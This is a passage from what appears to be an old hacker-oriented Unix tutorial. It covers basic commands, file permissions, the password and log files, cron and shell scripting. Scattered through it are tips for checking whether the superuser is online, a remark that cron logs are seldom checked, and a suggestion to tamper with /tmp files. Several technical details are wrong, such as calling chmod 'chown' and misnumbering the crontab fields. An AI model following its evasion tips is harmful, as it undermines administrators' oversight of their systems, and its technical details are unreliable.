+files of ASCII text, just like what you're reading right now. Binary files are +executable machine-code files. (There are also executable text files, called +shell scripts, that will be explained in detail in the section on Unix software development.) Device files are files that represent the system's I/O devices- +disk drives, terminals, etc. Remember, that Unix was created as an enviroment +for software development. Its designers wished for programs written for Unix +systems to be as transportable between different models of machines running +the operating system as possible. By representing the I/O devices as files, +they eliminated the incompatability in the code that handled I/O. The program +simply has to read and write from/to the file, and the Unix operating system +handles the system-dependant details. + +BASIC UNIX COMMANDS +------------------- + This section will describe some basic Unix commands, and detail how to +get further help on-line. It will briefly provide the syntax for a few commands you will find necessary to know in order to find your way around on the system. + Unix will usually only require that you use the base name of a file or +directory you wish to reference if it is in the directory you are currently in. Most commands will also let you specify full pathnames if you wish to reference files in other parts of the system. Most commands will also let you use several wildcard characters when referencing files and directories. These are: + +? -This means to accept any single character in the place of the question + mark. For instance, "t?m" would include both "tom" and "tim". + +* -This means to accept any character, group of characters, or nothing in + the position of the asterisk. For example, "t*m" would include "thom", + "tom", and "tim". +[] -This means to accept any character within the brackets in the position of the brackets. For instance, "t[oia]m" would include "tom", "tim", + and "tam". You can also specify a range of characters in the brackets + by using a hyphen. For instance, "t[a-c]m" would include "tam", "tbm", + and "tcm". + + Most commands and programs in Unix take their input from the keyboard +and send their output to the screen. With most commands and programs, however, +you can instruct them to draw their input from a text file and redirect their +output to another file instead. For instance, assume there is a program on the +system called "encrypter", that takes its input from the keyboard, encrypts it, and displays the encrypted data on the screen. You could instruct the program +to take its input, instead, from a previously prepared text file using the +input redirection character, "<". In Unix, as in MS-DOs (which is based in part on Unix), you execute a program by typing its name. You wish the program to +take its input from a file in the directory you are currently in called +"top_secret". You would type "encrypter < top_secret". The program would then +read in the contents of the file top_secret and encrypt it, then print out the +encrypted form on the screen. Suppose you wanted to use the encrypter program +to encrypt files you wished to keep private? You could redirect the encrypted +output from the screen into another file. To do this, you would use the output +redirection character, ">". Say, you wished to save the output in a file called "private". You would type "encrypter < top_secret > private". The encrypter +program would then read in the contents of the file top_secret and write the +encrypted output into the file "private". Nothing would be displayed to the +screen. If the file private does not exist, it will be created. If it +previously existed, its contents will be erased and replaced with the output +from the encrypter program. Perhaps you would want to add to the contents of a +file rather than replace its contents? This is done with ">>". The command +"encrypter < top_secret >> private" would append the output from the encrypter +to the current contents of the file private. Again, if the file private does +not already exist, it will be created. + Most commands have one or more options that you can specify. These are +placed after the command itself in the command line, and preceded by a hyphen. +For instance, let's say that the encrypter program had an option called +"x", which caused it to use a different encoding algorithm. You would +specify it by typing "encrypter -x". If a command has two or more options, you +can usually specify one or more together in a stream. For instance, let's say +that the encrypter program has 2 options, x and y. You could specify both like +this: "encrypter -xy". If one or more of the options requires an argument, for +example the x option requires a 2 character key, you can specify the options +separately, like this: "encrypter -xaa -y", where aa is the 2-character key. + The pipe character, "|", is used to channel the output of one command +or program into the input of another. For instance, suppose you had a command +called "report" that formatted documents into report format, and you had a file called "myreport" that you wished to view in the report format. You could type: +"cat myreport" | report". This would type out the contents of the file myreport to the report command rather than the screen, and the report command would +format it and display it on the screen. (Note: this example could have been +done with I/O redirection by typing "report < myreport"...but it makes a good +example of the use of pipes.) + You can choose to execute commands and programs in the background-that +is, the command executes, but you are free to carry out other tasks in the +meantime. To do this, type in the command line, followed by " &". For instance, "rm * &" would delete all the files in the directory, but your terminal would +not be tied up. You would still be free to perform other tasks. When you do +this, the system will print out a number and then return you to the system +prompt. This number is the process number of the command. Process numbers will +be explained later in this section in the entry for the command "ps". The +command can be stopped before its completion with the kill command, also +explained in this section. Example: + + $rm * & + 1234 + $ + +Note that when you use background processing, the command or program will still takes its input from the keyboard (standard input device) and send its output +to the screen (standard output device), so if you wish for the command to work +in the background without disturbing you, you must redirect its input (if any) +and its output (if it's to the screen). + +THE COMMANDS +------------ + +ls -This command lists the files and subdirectories in a directory. If you + simply type "ls", it will display the files in your current directory. + You can also specify the pathname of another directory, and it will + display the files in it. It will not display hidden files (files whose + name begins with a period). + + Options: + a -This option will display all files, including hidden files. + + Example: + $ ls -a + + . .. junk source + $ + +cd -This is the command used to move from one directory to another. To go + to a directory directly below your current directory, type "cd + ". To move up to the directory directly above your current + directory, type "cd .." You can also jump to any directory in the + system from any other directory in the system by specifying the path- + name of the directory you wish to go to, such as "cd /usr/source". + + Example: + $cd /usr/source + $ + +pwd -This prints out the pathname of the directory you are currently in. + Useful if you forget where you're at in the system tree. + + Example: + $pwd + /usr/source + +cat -Displays the contents of a text file on the screen. The correct syntax is "cat ". You can use basenames or pathnames. + + Example: + $cat memo + Bill, + Remember to feed the cat! + -Martha + $ + +rm -This deletes a file. Syntax: "rm ". + + Example: + $rm junk + $ + +cp -Copies a file. Syntax: "cp file1 file2", where file1 is the file you + wish to copy, and file2 is the name of the copy you wish to create. If file2 already exists, it will be overwritten. You may specify pathnames for one or both arguments. + + Example: + $cp /usr/junk /usr/junk.backup + +stty -Displays/sets your terminal characteristics. To display the current + settings, type "stty". To change a setting, specify one of the options + listed below. + + Options: + echo -System echoes back your input. + noecho -System doesn't echo your input. + intr 'arg' -Sets the break character. The format is '^c' for control-c, + etc. '' means no break character. + erase 'arg' -Sets the backspace character. Format is '^h' for control-h, + etc. '' means no backspace character. + kill 'arg' -Sets the kill character (which means to ignore the last line + you typed). Format is the same as for intr and erase, + '^[character]', with '' meaning no kill character. + + Example: + $stty intr '^c' erase '^h' + $stty + stty -echo intr '^c' erase '^h' kill '^x' + +lpr -This command prints out a file on the Unix system's printer, for you + to drop by and pick up (if you dare!) The format is "lpr ". + + Example: + $lp junk + +ed -This is a text file line editor. The format is "edit ". The + file you wish to modify is not modified directly by the editor; it is + loaded into a buffer instead, and the changes are only made when you + issue a write command. If the file you are editing does not already + exist, it will be created as soon as issue the first write command. + When you first issue the edit command, you will be placed at the + command prompt, ":" Here is where you issue the various commands. Here + is list of some of the basic editor commands. + + # -This is any number, such as 1, 2, etc. This will move you down to that line of the file and display it. + d -This deletes the line you are currently at. You will then be + moved to the previous line, which will be displayed. + a -Begin adding lines to the file, just after the line that you + are currently on. This command will put you in the text input + mode. Simply type in the text you wish to add. To return to the command mode, type return to get to an empty line, and press + the break key (which is whatever character you have set as your break key). It is important to set the break character with + stty before you use the editor! + / -Searches for a pattern in the file. For example, "/junk" would + search the file from your current line down for the first line + which contains the string "junk", and will move you to that + line if it finds one. + i -Insert. Works similar to a, except that the text is inserted + before the line you are currently on. + p -Prints out a line or lines in the buffer. "p" by itself will + display your current line. "#p" will display the line "#". + You may also specify a range of lines, such as "1,3p" which + will display lines 1-3. "1,$p" will print out the entire file. + w -Write the changes in the buffer to the file. + q -Quit the editor. + + Example: + $edit myfile + Editing "myfile" [new file] + 0 lines, 0 characters + :a + I am adding stupid text to myfile. + This is a test. + ^c [this is assumed as a default break character in this example] + :1,$p + I am adding stupid text to myfile. + This is a test. + :2 + This is a test. + :d + I am adding stupid text to myfile. + :w + :q + $ + +grep -this command searches for strings of text in text files. The format is + grep [string] [file]. It will print out every line in the file that + contains the string you specified. + + Options: + v -Invert. This will print out every line that DOESN'T contain + the string you specified. + + Example: + $ grep you letter + your momma! + I think you're going to get caught. + $ + +who -This will show the users currently logged onto the system. + + Example: + $ who + + root console Mar 10 01:00 + uucp contty Mar 30 13:00 + bill tty03 Mar 30 12:15 + $ + Now, to explain the above output: the first field is the username of + the account. The second field shows which terminal the account is on. + Console is, always, the system console itself. On many systems where + there is only one dialup line, the terminal for that line is usually + called contty. the tty## terminals can usually be either dialups or + local terminals. The last fields show the date and time that the user + logged on. In the example above, let's assume that the current time and + date is March 30, and the time is 1:00. Notice that the time is in 24 + hour format. Now, notice that the root (superuser) account logged in on + March 10! Some systems leave the root account logged in all the time on + the console. So, if this is done on a system you are using, how can you + tell if the system operator is really online or not? Use the ps + command, explained next. + +ps -This command displays information about system processes. + + Options: + u -this displays information on a specific user's processes. For + instance, to display the root account's processes: + $ ps -uroot + + PID TTY TIME CMD + 1234 console 01:00 sh + 1675 ? 00:00 cron + 1687 console 13:00 who + 1780 tty09 12:03 sh + + Now, to explain that: The first field is the process number. + Each and every time you start a processes, running a program, + issueing a command, etc., that process is assigned a unique + number. The second is which terminal the process is being run + on. The third field is when the process was started. The last + field is the base name of the program or command being run. + A user's lowest process number is his login (shell) process. + Note that the lowerst process in the above example is 1234. + This process is being run on the console tty, which means the + superuser is logged on at the system console. Note the ? as the + tty in the next entry, for the cron process. You can ignore any + processes with a question mark as the terminal. These processes + are not bewing carried out by a user; they are being carried + out by the system under that user's id. Next, note the entry + for process # 1687, on the console terminal, "who". this means + that the superuser is executing the who command...which means + he is currently actively on-line. The next entry is interest- + ing...it shows that the root user has a shell process on the + terminal tty09! This means that someone else is logged in + under the root account, on tty09. If more than one person is + using an account, this option will display information for all + of them, unless you specify the next option... + + t -This allows you to select processes run on a specific term- + inal. For example: + $ps -t console + will show all the processes currently being run on the console. + + Example: + Remember, options can usually be combined. This will show all + the root user's processes being run on the system console: + $ ps -uroot -tconsole + + PID TTY TIME CMD + 1234 console 01:00 sh + 1687 console 13:00 who + $ + +kill -Kills processes. Syntax: kill [-#] process#. You must know the process + number to kill it. You can, optionally, specify an option of 1-9, to + determine the power of the kill command. Certain kinds of processes, + like shell processes, require more power to kill. Kill -9 will stop any process. You must have superuser capabilities fo kill another user's + processes (unless he's using your account). + + Example: + $kill -9 1234 + 1234 killed. + $ + +write -This command is for on-line realtime user to user communications. To + communicate with a user, type "write ". If more than one + person is logged in under that user name, you must specify a specific + terminal you wish to speak to. When you do this, the person you wish + to communicate with will see: + Message from [your account name] tty## [<--your terminal] + + Now you can type messages, and they will be displayed on that person's + terminal when you press return. When you are finished, press control-D + to quit. + + Example: + $ write root + Fuck you I'm a hacker! [This is not advised.] + ^d + $ + +mail -The Unix mail facilities, used to send/receive mail. To send mail, + type "mail ". Enter your message and press control-d to send. To read your mail, type "mail". Your first letter will be displayed, + and then you will be given a "?" prompt. + Here are the legal commands you give at this point: + ## -Read message number ##. + d -Delete last message read. + + -Go to next message. + - -Move back one message. + m -Send mail to user. + s -Save last message read. You can specify the name of the file + to which it is saved, or it will be saved to the default file, mbox. + w -Same as s, but will save the message without the mail file + header. + x -Exit without deleting messages that have been read. + q -Exit, deleting messages that have been read. + p -Print last message read again. + ? -Lists these commands. + + Examples: + To send mail: + $ mail root + Hi bill! This is a nice system. + -John + ^d + $ + To read mail: + $ mail + From john Thu Mar 13 02:00:00 1986 + Hi bill! This is a nice system. + -John + ? d + Message deleted. + ?q + $ + +crypt -This is the Unix file encryption utility. Type "crypt". You will then + be prompted to enter the password. You then enter the text. Each line + is encrypted when you press return, and the encrypted form is displayed on the screen. So, to encrypt a file, you must use I/O redirection. + Type "crypt [password] < [file1] > [file2]". This will encrypt the con- tents of file1 and place the encrypted output in file2. If file 2 does + not exist, it will be created. + +passwd -This is the command used to change the password of an account. The + format is "passwd ". You must have superuser capabilities to + change the password for any account other than the one you are logged + in under. To change the password of the account you are currently + using, simply type "passwd". You will then be prompted to enter the + current password. Next, you will be asked to enter the new password. + Then you will be asked to verify the new password. If you verify the + old password correctly, the password change will be complete. (Note: + some systems use a security feature which forces you to use at least + 2 non-alphanumeric characters in the password. If this is the case with the system you are on, you will be informed so if you try to enter a + new password that does not contain at least 2 non-alphanumeric char- + acters.) + +su -This command is used to temporarily assume the id of another account. + the format is "su ". If you don't specify an account, the + default root is assumed. If the account has no password, you will then + assume that account's identity. If it does have a password, you will + be prompted to enter it. Beware of hacking passwords like this, as the + system keeps a log of all attempted uses, both successful and un- + successful, and which account you attempted to access. + +mkdir -This command creates a directory. the format is "mkdir ". + +rmdir -This command deletes a directory. The directory must be empty first. + The format is "rmdir ". + +mv -Renames a file. The syntax is "mv [oldname] [newname]". You can use + full pathnames, but the new name must have the same pathname as the + old name, except for the filename itself. + +------------------------------------------------------------------------------- + Further help can usually be gained from the system itself. Most systems feature on-line entries from the Unix System User's Manual. You can read these +entries using the man command. The format is "man ". Some Unix System +V systems also feature a menu-driven help facility. Simply type "help" to +access it. This one will provide you with a list of commands, as well as with +the manual entries for the commands. +------------------------------------------------------------------------------- + +UNIX FILE AND DIRECTORY PROTECTIONS +----------------------------------- + Every Unix account is assigned a specific user number, and a group +number. This is how the system identifies the user. Therefore, 2 accounts with +different usernames but the same user number would be considered by the system +to be the same id. These user and group numbers are what Unix uses to determine file and directory access privileges. + Unix has three different file/directory permissions: read, write, and +execute. This how these permissions affect access to files: + +read -Allows a user to view the contents of the file. +write -Allows a user to change the contents of a file. +execute -Allows a user to execute a file (if it is an executable type of file; + if it isn't, the user will get an error when trying to execute it). + +This is how these permissions affect access to directories: + +read -Allows a user to list out the files in a directory (ls). +write -Allows a user to save and delete files in this directory. +execute -If a user has execute access to a directory, he can go to that dir- + ectory with the cd command. If he also has read permission to that dir- ectory, he can also copy files from it and gain information on the + permissions for that directory and the files it contains, with the "l" + option to the ls command, which will be explained soon. + + Unix divides users into 3 classes: user (the owner of the file or dir- +ectory), group (members of the owner's group), and other (anyone who doesn't +fit into the first two classes). You can specify what permissions to give to a +file for each class of user. + To show the permissions of the files in a directory, use "ls -l". This +will list the contents of the directory (as in ls), and will show each's +permissions. For example: + $ls + bin startrek + $ ls -l + drwxrwxrwx 1 bin sys 12345 Mar 10 01:30 bin + -rwxr-xr-- 1 guest users 256 Mar 20 02:25 startrek + + In the above example, the directory we are in containi a subdirectory +called bin and a file called "startrek". Here is an explantion of the fields: +The first field contains the file's type and permissions. Look at the first +field of the first line, "drwxrwxrwx". Note the "d" at the begginning. Then see the "-" at the begginging of the first field for the file startrek. This shows +the file type. "D" is a directory. "-" is a file. "c" is a device file. Now, +back to the first field of the first line again. Notice the "rwxrwxrwx". These +are the permissions. The permissions are divided into three groups: +[user][group][other]. R stands for read, w stands for write, and x stand for +execute. "rwxrwxrwx" means that all three classes of users, owner, group, and +other, have read, write, and execute permissions to the directory bin. Now look at the second line. It reads "rwxr-xr--". Notice the "-"'s in the place of some of the permissions. This means that the file was not given that permission. +Line 2 shows that the owner has read, write, and execute permissions for the +file startrek, members of the owner's group have read and execute permissions +but not write (notice the "-" in the place of the group part's w), and all +others have only read privileges ("r--"...there are hyphens in the place of the others part's w and x). + Now, let's look at the other fields. The second field is a number (in +this case, the number is one for each line). This shows the number of copies of this file on the system. The third field shows the name of the owner of file +(or directory). The fourth field shows the username of the owner of the file. +The fifth field, which is not shown on some systems, shows the name of the +owner's group.The sixth field shows the size of the file. the seventh field +shows the time and date the file was last modified. the last field shows the +name of the file or directory. + The command used to change file/directory permissions is chmod. There +are 2 ways to change permissions: symbolically and absolutely. This will +explain both. + When you change permissions symbolically, only the permissions you +specify to be added or deleted will be changed. The other permissions will +remain as they are. The format is: +chown [u, g, or o] [+ or -] [rwx] [file/directory name] +The following abbreviations are used: + +u -User (the file or directory's owner) +g -Group (members of the owner's group) +o -Others (all others) +r -Read permission +w -Write permission +x -Execute permission + +You use u, g, and o to specify which group you wish to change the privileges +for. To add a permission, type "chown [class]+[permissions] [filename]". For +instance, to add group write permissions to the file startrek, type "chown g+w +startrek". To delete permissions, use the "-". For instance, to remove the +owner's write access to the file "startrek", type "chown u-w startrek". + When you set file permissions absolutely, any permissions that you do +not give the file or directory are automatically deleted. The format for +setting permissions absolutely is "chown [mode number] filename". You determine the mode number by adding together the code numbers for the permissions you +wish to give the file. Here are the permissions and their numbers: + +Others execute permission 1 +Others write permission 2 +Others read permission 4 + +Group execute permission 10 +Group write permission 20 +Group read permission 40 + +User (owner) execute permission 100 +User (owner) write permission 200 +User (owner) read permission 400 + + There are also two special file modes that can be set only absolutely. +These are the UID and GID modes. The UID mode, when applied to an executable +file, means that when another user executes the file, he executes it under the +user number of the owner (in other words, he runs the program as if he were the owner of the file). If the file has its GID mode bit set, then when someone +executes the file, his group will temporarily be changed to that of the file's +owner. The permission number for the GID mode is 2000, and the number for the +UID mode is 4000. If the uid bit is set, there will be an "S" in the place of +the x in the owner permissions section when you check a file's permissions: +-rwSr-xr-x +If the uid bit is set, and the owner of the file has execute permissions, the S will not be capitalized: +-rwsr-xr-x +If the gid bit is set, the same applies to the x in the section on group +permissions. + A short note here is in order on how these permissions affect superuser accounts. They don't-unless the owner of the file is root. All superuser +accounts have the same user number, which means that the system considers them +all to be the same-that is, they are considered to be the root account. Thus, +superuser accounts are only bound by the protections of files and directories +that they own, and they can easily change the permissions of any files and +directories that they do not have the access to that they wish. + +SPECIAL UNIX FILES +------------------ + This section will detail the purposes of some files that are found on +all systems. There are quite a few of these, and knowing their uses and what +format their entries are in is very useful to the hacker. + +THE FILES +--------- + +/etc/passwd -This is the password file, and is THE single most important + file on the system. This file is where information on the + system's accounts are stored. Each entry has 7 fields: + + username:password:user#:group#:description:home dir:shell + + The first field, naturally, is the account's username. The + second field is the account's password (in an encrypted form). + If this field is blank, the account doesn't have a password. + The next field is the account's user number. The fourth field + is the account's group number. The fifth field is for a + description of the account. This field is used only in the + password file, and is often just left blank, as it has no + significance. The sixth field is the pathname of the account's + home directory, and the last field is the pathname of the + account's shell program. Sometimes you may see an account with + a program besides the standard shell programs (sh, csh, etc.) + as its shell program. These are "command logins". These + accounts execute these programs when logging in. For example, + the "who" command login would have the /bin/who program as its + shell. + Here is a typical-looking entry: + + root:hGBfdJYhdhflK:0:1:Superuser:/:/bin/sh + + This entry is for the root account. Notice that the encrypted + form of the password is 13 characters, yet the Unix passwords + are only 11 characters maximum. The last 2 characters are what + is called a "salt string", and are used in the encryption + process, which will be explained in more detail later. Now, + notice the user number, which is zero. Any account with a user + number of 0 has superuser capabilities. The group number is 1. + The account description is "superuser". The account's home dir- ectory is the root directory, or "/". The account's shell is + the bourne shell (sh), which is kept in the directory /bin. + Sometimes you may see an entry in the password field like this: + :NHFfnldyNjh,21AB: + Notice the period after the 13th character, followed by 2 + digits and 2 letters. If an account has an entry like this, the account has a fixed expiration date on its password. The first + digit, in this case 2, shows the maximum number of weeks that + the account can keep the same password. The second digit shows + how many weeks must pass before the account can change its + password. (This is to prevent users from using the same old + password constantly by changing the password when forced to and then changing it back immediately.) The last 2 characters are + an encrypted form of when the password was last changed. + Other unusual password field entries you might encounter are: + :: + :,21: + The first entry means that the account has no password. The + second entry means that the account has no password yet, but + has a fixed expiration date that wil begin as soon as a pass- + word is given to it. + Now, for an explanation of how the Unix system encrypts + the passwords. The first thing any hacker thinks of is trying + decrypt the password file. This is as close to impossible as + anything gets in this world. I've often heard other "hackers" + brag about doing this...this is the biggest lie since Moses + said "I did it". The encryption scheme is a variation on the + DES (Data Encryption Standard). When you enter the command + passwd (to change the password), the system will form a 2 + character "salt string" based on the process number of the + password command you just issued. This 2-character string pro- + duces a slight change in the way the password is encrypted. + There are a total of 4096 different variations on the + encryption scheme caused by different salt string characters. + This is NOT the same encryption scheme used by the crypt + utility. The password is NEVER decrypted on the system. When + you log on, the password you enter at the password prompt is + encrypted (the salt string is taken from the password file) + and compared to the encrypted entry in the password file. The + system generates its own key, and as of yet, I have not + discovered any way to get the key. The login program does + not encrypt the password you enter itself, it does so, I + believe, by a system call. + +/etc/group -This is the group file. This allows the superuser to give + certain accounts group access to groups other than their own. + Entries are in the format: + + group name:password:group number:users in this group + + The first field is the name of the group. The second is the + field for the group password. In all my experience with Unix, + I have never seen the password feature used. The third is the + group's number. The fourth field is a list of the users who + group access to this group. (Note: this can include users whose group number is different from the number of the group whose + entry you are reading in the group file.) The usernames are + separated by commas. Here's an example: + + sys::2:root,sys,adm,lp + + To change to a new group identity, type "newgrp [group]". If + the group has a password, you must enter the proper password. + You cannot change to another group if you are not listed as a + member of that group in the group file. + + +/dev/console -This is the device file for the system console, or the + system's main terminal. + +/dev/tty## -The device files for the system's terminals are usually in + the form tty##, such as tty09, and sometimes ttyaa,ttyab, etc. + Some ways to make use of the Unix system's treatment of devices as files will be explored in the section on Hacking Unix. When + these files are not in use by a user (in other words, no one's + logged onto this terminal), the file is owned by root. While a + user is logged onto a terminal, however, ownership of its + device file is temporarily transferred to that account. + +/dev/dk## -These are the device files for the system's disks. + +login files -There are special files that are in a user's home directory + that contain commands that are executed when the user logs in. + The name of the file depends on what shell the user is using. + Here are the names of the files for the various shells: + + Shell File + ----- ---- + sh .profile + csh .cshrc + ksh .login + rsh .profile + + Some systems also use a file called ".logout" that contains + commands which are executed upon logoff. + These types of files are called shell scripts, and will + will be explained in the section on Unix Software Development's explanation of shell programming. + +/usr/adm/sulog -This is a log of all attempted uses of the su utility. It + shows when the attempt was made, what account made it, and + which account the user attempted to assume, and whether or not + the attempt was successful. + +/usr/adm/loginlog + or +/usr/adm/acct/sum/loginlog- This is a log of all logins to the system. This + only includes the time and the account's username. + +mbox -These are files in the home directories of the system's users, + that contain all the mail messages that they have saved. + +/usr/mail/-These files in the directory /usr/mail are named after + system accounts. They contain all the unread mail for + the account they are named after. + +/dev/null -This is the null device file. Anything written to this file is + just lost forever. Any attempt to read this file will result in an immediate control-D (end of file) character. + +/tmp -The directory /tmp provides storage space for temporary files created by programs and other processes. This directory will always have rwxrwxrwx permissions. Examining these files occasionally reveals some interesting information, and if you know what program generates them and the format of the information in the file, you could easily change the info in the files, thereby changing the outcome of the program. + +THE CRON UTILITIES +------------------ + An understanding of the cron utilities will be necessary to understand +certain parts of the section on Hacking Unix. This section will give a detailed explanation of the workings of the cron utilities. + The cron utility is a utility which carries out tasks which must be +performed on a periodic basis. These tasks, and the times when they are to be +carried out, are kept in files in 2 directories: /usr/lib and +/usr/spool/cron. + The file crontab in the directory /usr/lib contains entries for system +tasks that must be performed on a periodic basis. The format for the entries in this file is: + +minute hour dayofmonth monthofyear dayofweek commandstring + +The first field is the minutes field. This is a value from 0-59. +The second field is the hour field, a value from 0-23. +The third field is the day of the month, a value from 1-31. +The fifth field is the month of the year, a value from 1-2. +The sixth field is the day of the week, a value from 1-7, with monday being 1. +The seventh field is the pathname and any arguments of the task to be carried +out. + +An asterisk in a field means to carry out the task for every value of that +field. For instance, an asterisk in the minutes field would mean to carry out +that task every minute. Here's an example crontab entry: + +0 1 * * * /bin/sync + +This runs sync command, which is kept in the directory bin, at 1 am every day. +Commands in the file /usr/lib/crontab are performed with root privileges. + In the directory /usr/spool/crontabs, you will find files named after +system accounts. These files contain cron entries which are the same as those +in the file /usr/lib/crontab, but are carried out under the id of the user the +file is named after. The entries are in the same format. +BEWARE! When modifying cron files- cron activity is logged! All cron activity +is logged in the file /usr/adm/cronlog. I've found, however, that on most +systems, this file is almost never checked. + +UNIX SOFTWARE DEVELOPMENT +------------------------- + The Unix operating system was initially created as an enviroment for +software development, and that remains its main use. This section will detail +some of the os's main facilities for software development, the C compiler and +shell programming, and their related utilities. A few of the other languages +will be briefly touched upon at the end of this section, also. + +SHELL PROGRAMMING +----------------- + The shell is more than a simple command interpreter. It is also a +sophisticated programming tool, with variables, control structures, and the +features of just about any other programming language. Shell programs are +called scripts. Scripts are just text files which contain the names of commands and programs. When the script is executed, the command and programs whose names it contains are executed as if you had typed in their names from your keyboard. There are two ways to execute a shell script: if you have execute permission to it, you can simply type in its name. Otherwise, (if you have read access to +it), you can type "sh [filename]". Here is a sample shell script: + +who +whoami + +As you can see, it contains the commands who and whoami. When you execute it, +you will see a list of the system's current users (the output of the who +command), and which account you are logged in under (the output of the whoami +command). + This will concentrate solely on shell programming. While shell +programming is essentially the same with all the shells, there are slight +syntax differences that make shell scripts incompatible with shells that they +were not specifically written for. + +SHELL VARIABLES +--------------- + Like any programming language, the shell can handle variables. To set +the value of a variable, type: + +[variable]=[value] + +For example: + +counter=1 + +This will assign the value "1" to the variable counter. If the variable counter does not already exist, the shell will create it. Note, that there are no +"numeric" variables in shell programming- all the variables are strings. For +instance, we could later type: + +counter=This is a string + +And counter would now be equal to "This is a string". There is a command called "expr", however, that will let you treat a variable as a numeric value, and +will be explained later. + When setting the value of a variable, you only use the variable name. +When you specify a variable as an argument to a command or program, however, +you must precede the variable with a dollar sign. For instance: + +user=root + +Now, we want to specify user as an argument to the command "ps -u". We would +type: + +ps -u$user + +Which would, of course, display the processes of the user "root". + +SPECIAL SHELL VARIABLES +----------------------- + There are certain vaiables which are already pre-defined by the shell, +and have special meaning to it. Here is a list of the more important ones and +their meanings to the shell: + +HOME -(Notice the caps. All pre-defined variables are in all-caps.) This + variable contains the pathname of the user's home directory. + +PATH -This is a good time to explain something which makes Unix a very + unique operating system. In Unix, there are no commands "built-in" to + the operating system. All the commands are just regular programs. The + PATH variable contains a list of the pathnames of directories. When you type in the name of a command or program, the shell searches through + the directories listed in the PATH variable (in the order specified in + the variable) until it finds a program with the same name as the name + you just typed in. The format for the list of directories in the PATH + variable is: + + [pathname]:[pathname]:[pathname]... + + For example, the default searchpath is usually: + + /bin:/usr/bin:/usr/local + + A blank entry in the pathname, or an entry for ".", means to check the + directory the user is currently in. For instance, all these paths + contain blank or "." entries: + + .:/bin:/usr/bin [Notice . at begginning of path] + :/bin:/usr/bin [Notice that path begins with :] + /bin:/usr/bin: [Note that path ends with : ] + +PS1 -This variable contains the shell prompt string. The default is usually + "$" ("&" if you're using BSD Unix). If you have the "&" prompt, and + wish to have the dollar sign prompt instead, just type: + + PS1=$ + +TERM -This contains the type of terminal you are using. Common terminal + types are: + + ansi vt100 vt52 vt200 ascii tv150 + + And etc... Just type "TERM=[termtype]" to set your terminal type. + +COMMAND LINE VARIABLES +---------------------- + Command line variables are variables whose values are set to arguments +entered on the command line when you execute the shell script. For instance, +here is a sample shell script called "repeat" that uses command line variables: + +echo $1 +echo $2 +echo $3 + +The echo command prints out the values following it. In this case, it will +print out the values of the variables $1, $2, and $3. These are the command +line variables. For instance, $1 contains the value of the first argument you +entered on the command line, $2 contains the second, $3 contains the third, an +so on to infinity. Now, execute the script: + +repeat apples pears peaches + +The output from the "repeat" shell script would be: + +apples +pears +peaches + +Get the idea? + +SPECIAL COMMAND LINE VARIABLES +------------------------------ + There are 2 special command line variables, $O and $#. $O contains the +name of command you typed in (in the last example, $O would be repeat). $# +contains the number of arguments in the command line. (In the last example, $# +would be 3.) + +SPECIAL COMMANDS FOR SHELL PROGRAMS +----------------------------------- + These commands were added to the Unix os especially for shell +programming. This section will list them, their syntax, and their uses. + +read -This command reads the value of a variable from the terminal. The + format is: "read [variable]". For example, "read number". The variable + is not preceded by a dollar sign when used as an argument to this com- + mand. + +echo -This command displays information on the screen. For example, + "echo hello" would display "hello" on your terminal. If you specify + a variable as an argument, it must be preceded by a dollar sign, for + example "echo $greeting". + +trap -This command traps certain events, such as the user being disconnected + or pressing the break key, and tells what commands to carry out if they occur. The format is: trap "commands" eventcodes. the event codes are: + 2 for break key, and 1 for disconnect. You can specify multiple com- + mands with the quotation marks, separating the commands with a semi- + colon (";"). For example: + + trap "echo 'hey stupid!'; echo 'don't hit the break key'" 2 + + Would echo "Hey stupid!" and "Don't hit the break key" if the user hits the break key while the shell script is being executed. + +exit -This command terminates the execution of a shell procedure, and ret- + urns a diagnostic value to the enviroment. The format is: + "exit [value]", where value is 0 for true and 1 for false. The meaning + of the value parameter will become clear later, in the section on + the shell's provisions for conditional execution. If the shell script + being executed is being executed by another shell script, control is + passed to the next highest shell script. + +ARITHMETIC WITH EXPR +-------------------- + The expr command allows you to perform arithmetic on the shell +variables, and sends the output to the screen. (Though the output may be +redirected.) The format is: + +expr [arg] [function] [arg] [function] [arg]... + +Where [arg] may be either a value, or a variable (preceded by a dollar sign), +and [function] is an arithmetic operation, one of the following: + ++ -Add. +- -Subtract. +\* -Multiply. +/ -Divide. +% -Remainder from a division operation. + +For example: + +$ num1=3 +$ num2=5 +$ expr num1 + num2 + 8 +$ + +TEXT MANIPULATION WITH SORT +--------------------------- + The sort command sorts text by ASCII or numeric value. The command +format is: + +sort [field][option]... file + +where file is the file you wish to sort. (The sort command's input may be +redirected, though, just as its output, which is ordinarily to the screen, can +be.) The sort command sorts by the file's fields. If you don't specify any +specific field, the first field is assumed. for example, say this file +contained names and test scores: + +Billy Bob 10 +Tom McKann 5 +Doobie Kairful 20 + +the file's fields would be first name, last name, and score. So, to sort the +above file (called "students") by first name, you would issue the command: + +sort students + +And you would see: + +Billy Bob 10 +Doobie Kairful 20 +Tom McKann 5 + +If you wanted to sort the file's entries by another field, say the second field of the file "students" (last names), you would specify: + +sort +1 students + +The +1 means to skip ahead one field and then begin sorting. Now, say we wanted to sort the file by the 3rd field (scores). We would type: + +sort +2 students + +to skip 2 fields. But the output would be: + +Billy Bob 10 +Tom McKann 5 +Doobie Kairful 20 + +Notice that the shorter names came first, regardless of the numbers in the +second field. There is a reason for this- the spaces between the second and 3rd fields are considered to be part of the 3rd field. You can tell the sort +command to ignore spaces when sorting a field, however, using the b option. The format would be: + +sort +2b students + +but...another error! The output would be: + +Billy Bob 10 +Doobie Kairful 20 +Tom McKann 5 + +Why did the value 5 come after 10 and 20? Because the sort command wasn't +really sorting by numeric value- it was sorting by the ASCII values of the +characters in the third field, and 5 comes after the digits 1 and 2. We could +specify that the field be treated by its numerical value by specifying the n +option: + +sort +2n students + +Output: + +Tom McKann 5 +Billy Bob 10 +Doobie Kairful 20 + +Notice that if we use the n option, blanks are automatically ignored. +We can also specify that sort work in the reverse order on a field. For +example, if we wanted to sort by last names in reverse order: + +sort +1r students + +Output: + +Tom McKann 5 +Doobie Kairful 20 +Billy Bob 10 + +By using pipes, you can direct the output of one sort command to the input of +yet another sort command, thus allowing you to sort a file by more than one +field. This makes sort an excellent tool for text manipulation. It is not, +however, the only one. Remember, you can use any Unix command or program in a +shell script, and there are many different commands for text manipulation in +Unix, such as grep (described in an earlier section on basic commands). +Experiment with the different commands and ways of using them. + +LOOPING +------- + The for/do loop is a simple way to repeat a step for a certain number +of times. The format is: + +for [variable] in [values] +do [commands] +done + +You do not precede the variable with a dollar sign in this command. The for/do +loop works by assigning 